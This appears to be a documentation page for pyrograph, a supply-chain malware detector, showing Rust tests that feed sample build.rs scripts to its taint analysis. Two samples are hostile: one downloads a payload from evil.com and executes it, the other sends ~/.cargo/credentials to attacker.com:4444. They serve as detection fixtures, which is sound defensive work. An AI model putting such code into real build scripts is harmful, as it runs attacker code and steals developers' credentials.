pyrograph 0.1.0

GPU-accelerated taint analysis for supply chain malware detection
Documentation 
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#![cfg(feature = "rust-lang")]
use pyrograph::analyze;

#[test]
fn rust_build_rs_curl_attack() {
    let code = r#"
use std::process::Command;
fn main() {
    let output = Command::new("curl")
        .arg("https://evil.com/payload")
        .arg("-o")
        .arg("/tmp/payload")
        .output()
        .unwrap();
    Command::new("chmod").arg("+x").arg("/tmp/payload").status().unwrap();
    Command::new("/tmp/payload").status().unwrap();
}
"#;
    let graph = pyrograph::parse::rust::parse_rust_with_labels(code, "build.rs", None).unwrap();
    let findings = analyze(&graph).unwrap();
    eprintln!("Rust build.rs curl attack: {} findings", findings.len());
    assert!(!findings.is_empty(), "must detect curl download+execute in build.rs");
}

#[test]
fn rust_credential_theft() {
    let code = r#"
use std::fs;
use std::net::TcpStream;
use std::io::Write;
fn main() {
    let creds = fs::read_to_string("/home/user/.cargo/credentials").unwrap();
    let mut stream = TcpStream::connect("attacker.com:4444").unwrap();
    stream.write_all(creds.as_bytes()).unwrap();
}
"#;
    let graph = pyrograph::parse::rust::parse_rust_with_labels(code, "build.rs", None).unwrap();
    let findings = analyze(&graph).unwrap();
    eprintln!("Rust credential theft: {} findings", findings.len());
    assert!(!findings.is_empty(), "must detect .cargo/credentials theft");
}

#[test]
fn rust_legitimate_build() {
    let code = r#"
use std::env;
use std::path::PathBuf;
fn main() {
    let out_dir = env::var("OUT_DIR").unwrap();
    let dest = PathBuf::from(&out_dir).join("bindings.rs");
    println!("cargo:rustc-link-lib=static=foo");
    println!("cargo:rerun-if-changed=build.rs");
}
"#;
    let graph = pyrograph::parse::rust::parse_rust_with_labels(code, "build.rs", None).unwrap();
    let findings = analyze(&graph).unwrap();
    eprintln!("Rust legitimate build: {} findings", findings.len());
    // This SHOULD be clean - legitimate build.rs
}